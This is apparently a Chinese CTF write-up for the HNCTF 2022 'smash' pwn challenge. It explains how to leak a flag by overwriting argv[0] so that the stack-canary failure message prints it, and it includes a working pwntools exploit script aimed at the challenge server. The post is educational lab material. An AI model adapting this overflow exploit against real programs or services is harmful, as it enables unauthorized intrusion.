【pwn】[HNCTF 2022 WEEK3]smash --花式栈溢出
  0XXTfvepgrVF 2023年12月18日 31 0

拿到程序,先查一下保护状态

没开pie,接着看主函数代码逻辑

看到这里,因为程序开了canary,本程序没有可以泄露canary的方法,所以普通的栈溢出方法肯定打不了,这里可以考虑一下smash stack

Stack smash       

       在程序加了 canary 保护之后,如果我们读取的 buffer 覆盖了对应的值时,程序就会报错,而一般来说我们并不会关心报错信息。而 stack smash 技巧则就是利用打印这一信息的程序来得到我们想要的内容。这是因为在程序启动 canary 保护之后,如果发现 canary 被修改的话,程序就会执行 __stack_chk_fail 函数来打印 argv[0] 指针所指向的字符串,正常情况下,这个指针指向了程序名。
所以我们只要将argv[0]改成buf地址,就可以将flag的值打印出来,我们可以动调看一下argv[0]的地址,可以使用print &__libc_argv[0]查看

再来看一下栈底地址

这样就可以算出我们读入数据的地址到argv[0]的偏移

exp:

from pwn import *
context(os='linux',arch='amd64',log_level='debug')

io=remote("node5.anna.nssctf.cn",28952)

arg=0x7fffffffe538
flag_addr=0x404060
stack_rbp=0x7fffffffe450
offset=arg-stack_rbp+0x110
payload=b'a'*offset+p64(flag_addr)
io.recvuntil(b"Good Luck.\n")
io.send(payload)
io.interactive()
【版权声明】本文内容来自摩杜云社区用户原创、第三方投稿、转载,内容版权归原作者所有。本网站的目的在于传递更多信息,不拥有版权,亦不承担相应法律责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@moduyun.com

  1. 分享:
最后一次编辑于 2023年12月18日 0

暂无评论

推荐阅读
  5NWiQFAVeqgX   2024年05月17日   36   0   0 网络安全
  pTtIhLb24H2d   2024年05月17日   35   0   0 网络安全
  OKgNPeBk991j   2024年05月18日   48   0   0 网络安全
  rKgO6TN7xbYO   2024年05月17日   40   0   0 网络安全
  5NWiQFAVeqgX   2024年05月17日   53   0   0 网络安全
  5NWiQFAVeqgX   2024年05月17日   37   0   0 网络安全
  YOkriIV1Am1d   2024年05月20日   41   0   0 网络安全
  owpmXY9hzjPv   2024年05月20日   42   0   0 网络安全
  owpmXY9hzjPv   2024年05月20日   44   0   0 网络安全
  owpmXY9hzjPv   2024年05月20日   35   0   0 网络安全
0XXTfvepgrVF